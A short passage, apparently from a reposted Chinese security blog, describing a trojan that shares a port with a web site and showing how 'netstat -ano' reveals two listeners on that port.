木馬,但如果是用 127.0.0.1 去訪問看到的就是web網(wǎng)站。
防范:
netstat -ano 可以看到有兩條不同的監(jiān)聽地址相同的監(jiān)聽端口在等待監(jiān)聽。
?
轉(zhuǎn)載于:https://www.cnblogs.com/demonxian3/p/9834694.html
總結(jié)
- 上一篇: c语言课后练习题第三章
- 下一篇: 建模思路|彩色C4D人物元素设计灵感